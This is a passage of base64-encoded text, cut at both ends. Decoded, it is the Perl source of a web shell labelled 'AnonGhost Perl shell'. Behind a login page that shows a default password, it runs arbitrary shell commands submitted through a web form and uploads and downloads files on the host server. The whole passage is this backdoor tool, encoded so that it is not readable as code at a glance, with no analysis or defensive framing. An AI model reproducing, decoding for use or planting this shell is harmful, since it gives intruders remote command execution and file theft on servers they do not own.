7DQoJCSRIZWFkZXIgPX4gL2ZpbGVuYW1lPVwiKC4rKVwiLzsgDQoJCSRpbnsnZid9ID0gJDE7IA0KCQkkaW57J2YnfSA9fiBzL1wiLy9nOw0KCQkkaW57J2YnfSA9fiBzL1xzLy9nOw0KDQoJCSMgcGFyc2UgdHJhaWxlcg0KCQlmb3IoJGk9MjsgJGxpc3RbJGldOyAkaSsrKQ0KCQl7IA0KCQkJJGxpc3RbJGldID1+IHMvXi4rbmFtZT0kLy87DQoJCQkkbGlzdFskaV0gPX4gL1wiKFx3KylcIi87DQoJCQkka2V5ID0gJDE7DQoJCQkkdmFsID0gJCc7DQoJCQkkdmFsID1+IHMvKF4oXHJcblxyXG58XG5cbikpfChcclxuJHxcbiQpLy9nOw0KCQkJJHZhbCA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsNCgkJCSRpbnska2V5fSA9ICR2YWw7IA0KCQl9DQoJfQ0KCWVsc2UgIyBzdGFuZGFyZCBwb3N0IGRhdGEgKHVybCBlbmNvZGVkLCBub3QgbXVsdGlwYXJ0KQ0KCXsNCgkJQGluID0gc3BsaXQoLyYvLCAkaW4pOw0KCQlmb3JlYWNoICRpICgwIC4uICQjaW4pDQoJCXsNCgkJCSRpblskaV0gPX4gcy9cKy8gL2c7DQoJCQkoJGtleSwgJHZhbCkgPSBzcGxpdCgvPS8sICRpblskaV0sIDIpOw0KCQkJJGtleSA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsNCgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkaW57JGtleX0gLj0gIlwwIiBpZiAoZGVmaW5lZCgkaW57JGtleX0pKTsNCgkJCSRpbnska2V5fSAuPSAkdmFsOw0KCQl9DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBQYWdlIEhlYWRlcg0KIyBBcmd1bWVudCAxOiBGb3JtIGl0ZW0gbmFtZSB0byB3aGljaCBmb2N1cyBzaG91bGQgYmUgc2V0DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRQYWdlSGVhZGVyDQp7DQoJJEVuY29kZWRDdXJyZW50RGlyID0gJEN1cnJlbnREaXI7DQoJJEVuY29kZWRDdXJyZW50RGlyID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsNCglwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsNCglwcmludCA8PEVORDsNCjxodG1sPg0KPGhlYWQ+DQo8dGl0bGU+QW5vbkdob3N0IFBlcmwgc2hlbGw8L3RpdGxlPg0KJEh0bWxNZXRhSGVhZGVyDQoNCjxtZXRhIG5hbWU9ImtleXdvcmRzIiBjb250ZW50PSJBbm9uR2hvc3QsQW5vbkdob3N0LEFub25HaG9zdC5pbmZvLGhhY2tlciI+DQo8bWV0YSBuYW1lPSJkZXNjcmlwdGlvbiIgY29udGVudD0iQW5vbkdob3N0LEFub25HaG9zdCxBbm9uR2hvc3QuaW5mbyxoYWNrZXIiPg0KPC9oZWFkPg0KPGJvZHkgb25Mb2FkPSJkb2N1bWVudC5mLkBfLmZvY3VzKCkiIGJnY29sb3I9IiNGRkZGRkYiIHRvcG1hcmdpbj0iMCIgbGVmdG1hcmdpbj0iMCIgbWFyZ2lud2lkdGg9IjAiIG1hcmdpbmhlaWdodD0iMCIgdGV4dD0iI0ZGMDAwMCI+DQo8dGFibGUgYm9yZGVyPSIxIiB3aWR0aD0iMTAwJSIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIyIj4NCjx0cj4NCjx0ZCBiZ2NvbG9yPSIjRkZGRkZGIiBib3JkZXJjb2xvcj0iI0ZGRkZGRiIgYWxpZ249ImNlbnRlciIgd2lkdGg9IjElIj4NCjxiPjxmb250IHNpemU9IjIiPiM8L2ZvbnQ+PC9iPjwvdGQ+DQo8dGQgYmdjb2xvcj0iI0ZGRkZGRiIgd2lkdGg9Ijk4JSI+PGZvbnQgZmFjZT0iVmVyZGFuYSIgc2l6ZT0iMiI+PGI+IA0KPGIgc3R5bGU9ImNvbG9yOmJsYWNrO2JhY2tncm91bmQtY29sb3I6I2ZmZmY2NiI+QW5vbkdob3N0IFBlcmwgc2hlbGw8L2I+IENvbm5lY3RlZCB0byAkU2VydmVyTmFtZTwvYj48L2ZvbnQ+PC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQgY29sc3Bhbj0iMiIgYmdjb2xvcj0iI0ZGRkZGRiI+PGZvbnQgZmFjZT0iVmVyZGFuYSIgc2l6ZT0iMiI+DQoNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPXVwbG9hZCZkPSRFbmNvZGVkQ3VycmVudERpciI+PGZvbnQgY29sb3I9IiNGRjAwMDAiPlVwbG9hZCBGaWxlPC9mb250PjwvYT4gfCANCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+RG93bmxvYWQgRmlsZTwvZm9udD48L2E+IHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWxvZ291dCI+PGZvbnQgY29sb3I9IiNGRjAwMDAiPkRpc2Nvbm5lY3Q8L2ZvbnQ+PC9hPiB8DQo8L2ZvbnQ+PC90ZD4NCjwvdHI+DQo8L3RhYmxlPg0KPGZvbnQgc2l6ZT0iMyI+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIExvZ2luIFNjcmVlbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50TG9naW5TY3JlZW4NCnsNCgkkTWVzc2FnZSA9IHEkPHByZT48aW1nIGJvcmRlcj0iMCIgc3JjPSJodHRwOi8vaW1nODEwLmltYWdlc2hhY2sudXMvaW1nODEwLzgwNDMvQW5vbkdob3N0MTIucG5nIj48L3ByZT48YnI+PGJyPjwvZm9udD48aDE+RGVmYXVsdCBQYXNzd29yZD1naG9zdDwvaDE+DQokOw0KIycNCglwcmludCA8PEVORDsNCjxjb2RlPg0KDQpUcnlpbmcgJFNlcnZlck5hbWUuLi48YnI+DQpDb25uZWN0ZWQgdG8gJFNlcnZlck5hbWU8YnI+DQpFc2NhcGUgY2hhcmFjdGVyIGlzIF5dDQo8Y29kZT4kTWVzc2FnZQ0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBtZXNzYWdlIHRoYXQgaW5mb3JtcyB0aGUgdXNlciBvZiBhIGZhaWxlZCBsb2dpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50TG9naW5GYWlsZWRNZXNzYWdlDQp7DQoJcHJpbnQgPDxFTkQ7DQo8Y29kZT4NCjxicj5sb2dpbjogYWRtaW48YnI+DQpwYXNzd29yZDo8YnI+DQpMb2dpbiBpbmNvcnJlY3Q8YnI+PGJyPg0KPC9jb2RlPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gZm9yIGxvZ2dpbmcgaW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ2luRm9ybQ0Kew0KCXByaW50IDw8RU5EOw0KPGNvZGU+DQoNCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImxvZ2luIj4NCjwvZm9udD4NCjxmb250IHNpemU9IjMiPg0KbG9naW46IDxiIHN0eWxlPSJjb2xvcjpibGFjaztiYWNrZ3JvdW5kLWNvbG9yOiNmZmZmNjYiPkFub25HaG9zdCBQZXJsIHNoZWxsPC9iPjxicj4NCnBhc3N3b3JkOjwvZm9udD48Zm9udCBjb2xvcj0iIzAwOTkwMCIgc2l6ZT0iMyI+PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFbnRlciI+DQo8L2Zvcm0+DQo8L2NvZGU+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIGZvb3RlciBmb3IgdGhlIEhUTUwgUGFnZQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50UGFnZUZvb3Rlcg0Kew0KCXByaW50ICI8L2ZvbnQ+PC9ib2R5PjwvaHRtbD4iOw0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFJldHJlaXZlcyB0aGUgdmFsdWVzIG9mIGFsbCBjb29raWVzLiBUaGUgY29va2llcyBjYW4gYmUgYWNjZXNzZXMgdXNpbmcgdGhlDQojIHZhcmlhYmxlICRDb29raWVzeycnfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEdldENvb2tpZXMNCnsNCglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOw0KCWZvcmVhY2ggJGNvb2tpZShAaHR0cGNvb2tpZXMpDQoJew0KCQkoJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7DQoJCSRDb29raWVzeyRpZH0gPSAkdmFsOw0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dvdXRTY3JlZW4NCnsNCglwcmludCAiPGNvZGU+Q29ubmVjdGlvbiBjbG9zZWQgYnkgZm9yZWlnbiBob3N0Ljxicj48YnI+PC9jb2RlPiI7DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgTG9ncyBvdXQgdGhlIHVzZXIgYW5kIGFsbG93cyB0aGUgdXNlciB0byBsb2dpbiBhZ2Fpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFBlcmZvcm1Mb2dvdXQNCnsNCglwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9O1xuIjsgIyByZW1vdmUgcGFzc3dvcmQgY29va2llDQoJJlByaW50UGFnZUhlYWRlcigicCIpOw0KCSZQcmludExvZ291dFNjcmVlbjsNCg0KCSZQcmludExvZ2luU2NyZWVuOw0KCSZQcmludExvZ2luRm9ybTsNCgkmUHJpbnRQYWdlRm9vdGVyOw0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGxvZ2luIHRoZSB1c2VyLiBJZiB0aGUgcGFzc3dvcmQgbWF0Y2hlcywgaXQNCiMgZGlzcGxheXMgYSBwYWdlIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHJ1biBjb21tYW5kcy4gSWYgdGhlIHBhc3N3b3JkIGRvZW5zJ3QNCiMgbWF0Y2ggb3IgaWYgbm8gcGFzc3dvcmQgaXMgZW50ZXJlZCwgaXQgZGlzcGxheXMgYSBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyDQojIHRvIGxvZ2luDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUGVyZm9ybUxvZ2luIA0Kew0KCWlmKCRMb2dpblBhc3N3b3JkIGVxICRQYXNzd29yZCkgIyBwYXNzd29yZCBtYXRjaGVkDQoJew0KCQlwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9JExvZ2luUGFzc3dvcmQ7XG4iOw0KCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoJCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCX0NCgllbHNlICMgcGFzc3dvcmQgZGlkbid0IG1hdGNoDQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJwIik7DQoJCSZQcmludExvZ2luU2NyZWVuOw0KCQlpZigkTG9naW5QYXNzd29yZCBuZSAiIikgIyBzb21lIHBhc3N3b3JkIHdhcyBlbnRlcmVkDQoJCXsNCgkJCSZQcmludExvZ2luRmFpbGVkTWVzc2FnZTsNCg0KCQl9DQoJCSZQcmludExvZ2luRm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gZW50ZXIgY29tbWFuZHMNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtDQp7DQoJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7DQoJcHJpbnQgPDxFTkQ7DQo8Y29kZT4NCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImNvbW1hbmQiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCiRQcm9tcHQNCjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjIj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFbnRlciI+DQo8L2Zvcm0+DQo8L2NvZGU+DQoNCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGRvd25sb2FkIGZpbGVzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRGaWxlRG93bmxvYWRGb3JtDQp7DQoJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7DQoJcHJpbnQgPDxFTkQ7DQo8Y29kZT4NCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJkb3dubG9hZCI+DQokUHJvbXB0IGRvd25sb2FkPGJyPjxicj4NCkZpbGVuYW1lOiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+DQpEb3dubG9hZDogPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJlZ2luIj4NCjwvZm9ybT4NCjwvY29kZT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHVwbG9hZCBmaWxlcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50RmlsZVVwbG9hZEZvcm0NCnsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsNCglwcmludCA8PEVORDsNCjxjb2RlPg0KDQo8Zm9ybSBuYW1lPSJmIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCiRQcm9tcHQgdXBsb2FkPGJyPjxicj4NCkZpbGVuYW1lOiA8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+DQpPcHRpb25zOiAmbmJzcDs8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Im8iIHZhbHVlPSJvdmVyd3JpdGUiPg0KT3ZlcndyaXRlIGlmIGl0IEV4aXN0czxicj48YnI+DQpVcGxvYWQ6Jm5ic3A7Jm5ic3A7Jm5ic3A7PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJlZ2luIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0idXBsb2FkIj4NCjwvZm9ybT4NCjwvY29kZT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHRpbWVvdXQgZm9yIGEgY29tbWFuZCBleHBpcmVzLiBXZSBuZWVkIHRvDQojIHRlcm1pbmF0ZSB0aGUgc2NyaXB0IGltbWVkaWF0ZWx5LiBUaGlzIGZ1bmN0aW9uIGlzIHZhbGlkIG9ubHkgb24gVW5peC4gSXQgaXMNCiMgbmV2ZXIgY2FsbGVkIHdoZW4gdGhlIHNjcmlwdCBpcyBydW5uaW5nIG9uIE5ULg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIENvbW1hbmRUaW1lb3V0DQp7DQoJaWYoISRXaW5OVCkNCgl7DQoJCWFsYXJtKDApOw0KCQlwcmludCA8PEVORDsNCjwveG1wPg0KDQo8Y29kZT4NCkNvbW1hbmQgZXhjZWVkZWQgbWF4aW11bSB0aW1lIG9mICRDb21tYW5kVGltZW91dER1cmF0aW9uIHNlY29uZChzKS4NCjxicj5LaWxsZWQgaXQhDQpFTkQNCgkJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJCWV4aXQ7DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGV4ZWN1dGUgY29tbWFuZHMuIEl0IGRpc3BsYXlzIHRoZSBvdXRwdXQgb2YgdGhlDQojIGNvbW1hbmQgYW5kIGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBhbm90aGVyIGNvbW1hbmQuIFRoZSBjaGFuZ2UgZGlyZWN0b3J5DQojIGNvbW1hbmQgaXMgaGFuZGxlZCBkaWZmZXJlbnRseS4gSW4gdGhpcyBjYXNlLCB0aGUgbmV3IGRpcmVjdG9yeSBpcyBzdG9yZWQgaW4NCiMgYW4gaW50ZXJuYWwgdmFyaWFibGUgYW5kIGlzIHVzZWQgZWFjaCB0aW1lIGEgY29tbWFuZCBoYXMgdG8gYmUgZXhlY3V0ZWQuIFRoZQ0KIyBvdXRwdXQgb2YgdGhlIGNoYW5nZSBkaXJlY3RvcnkgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkIHRvIHRoZSB1c2Vycw0KIyB0aGVyZWZvcmUgZXJyb3IgbWVzc2FnZXMgY2Fubm90IGJlIGRpc3BsYXllZC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBFeGVjdXRlQ29tbWFuZA0Kew0KCWlmKCRSdW5Db21tYW5kID1+IG0vXlxzKmNkXHMrKC4rKS8pICMgaXQgaXMgYSBjaGFuZ2UgZGlyIGNvbW1hbmQNCgl7DQoJCSMgd2UgY2hhbmdlIHRoZSBkaXJlY3RvcnkgaW50ZXJuYWxseS4gVGhlIG91dHB1dCBvZiB0aGUNCgkJIyBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQuDQoJCQ0KCQkkT2xkRGlyID0gJEN1cnJlbnREaXI7DQoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4iY2QgJDEiLiRDbWRTZXAuJENtZFB3ZDsNCgkJY2hvcCgkQ3VycmVudERpciA9IGAkQ29tbWFuZGApOw0KCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoJCSRQcm9tcHQgPSAkV2luTlQgPyAiJE9sZERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRPbGREaXJdXCQgIjsNCgkJcHJpbnQgIiRQcm9tcHQgJFJ1bkNvbW1hbmQiOw0KCX0NCgllbHNlICMgc29tZSBvdGhlciBjb21tYW5kLCBkaXNwbGF5IHRoZSBvdXRwdXQNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsNCgkJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7DQoJCXByaW50ICIkUHJvbXB0ICRSdW5Db21tYW5kPHhtcD4iOw0KCQkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuJFJ1bkNvbW1hbmQuJFJlZGlyZWN0b3I7DQoJCWlmKCEkV2luTlQpDQoJCXsNCgkJCSRTSUd7J0FMUk0nfSA9IFwmQ29tbWFuZFRpbWVvdXQ7DQoJCQlhbGFybSgkQ29tbWFuZFRpbWVvdXREdXJhdGlvbik7DQoJCX0NCgkJaWYoJFNob3dEeW5hbWljT3V0cHV0KSAjIHNob3cgb3V0cHV0IGFzIGl0IGlzIGdlbmVyYXRlZA0KCQl7DQoJCQkkfD0xOw0KCQkJJENvbW1hbmQgLj0gIiB8IjsNCgkJCW9wZW4oQ29tbWFuZE91dHB1dCwgJENvbW1hbmQpOw0KCQkJd2hpbGUoPENvbW1hbmRPdXRwdXQ+KQ0KCQkJew0KCQkJCSRfID1+IHMvKFxufFxyXG4pJC8vOw0KCQkJCXByaW50ICIkX1xuIjsNCgkJCX0NCgkJCSR8PTA7DQoJCX0NCgkJZWxzZSAjIHNob3cgb3V0cHV0IGFmdGVyIGNvbW1hbmQgY29tcGxldGVzDQoJCXsNCgkJCXByaW50IGAkQ29tbWFuZGA7DQoJCX0NCgkJaWYoISRXaW5OVCkNCgkJew0KCQkJYWxhcm0oMCk7DQoJCX0NCgkJcHJpbnQgIjwveG1wPiI7DQoJfQ0KCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCSZQcmludFBhZ2VGb290ZXI7DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBkaXNwbGF5cyB0aGUgcGFnZSB0aGF0IGNvbnRhaW5zIGEgbGluayB3aGljaCBhbGxvd3MgdGhlIHVzZXINCiMgdG8gZG93bmxvYWQgdGhlIHNwZWNpZmllZCBmaWxlLiBUaGUgcGFnZSBhbHNvIGNvbnRhaW5zIGEgYXV0by1yZWZyZXNoDQojIGZlYXR1cmUgdGhhdCBzdGFydHMgdGhlIGRvd25sb2FkIGF1dG9tYXRpY2FsbHkuDQojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBmaWxlbmFtZSBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnREb3dubG9hZExpbmtQYWdlDQp7DQoJbG9jYWwoJEZpbGVVcmwpID0gQF87DQoJaWYoLWUgJEZpbGVVcmwpICMgaWYgdGhlIGZpbGUgZXhpc3RzDQoJew0KCQkjIGVuY29kZSB0aGUgZmlsZSBsaW5rIHNvIHdlIGNhbiBzZW5kIGl0IHRvIHRoZSBicm93c2VyDQoJCSRGaWxlVXJsID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsNCgkJJERvd25sb2FkTGluayA9ICIkU2NyaXB0TG9jYXRpb24/YT1kb3dubG9hZCZmPSRGaWxlVXJsJm89Z28iOw0KCQkkSHRtbE1ldGFIZWFkZXIgPSAiPG1ldGEgSFRUUC1FUVVJVj1cIlJlZnJlc2hcIiBDT05URU5UPVwiMTsgVVJMPSREb3dubG9hZExpbmtcIj4iOw0KCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoJCXByaW50IDw8RU5EOw0KPGNvZGU+DQoNClNlbmRpbmcgRmlsZSAkVHJhbnNmZXJGaWxlLi4uPGJyPg0KSWYgdGhlIGRvd25sb2FkIGRvZXMgbm90IHN0YXJ0IGF1dG9tYX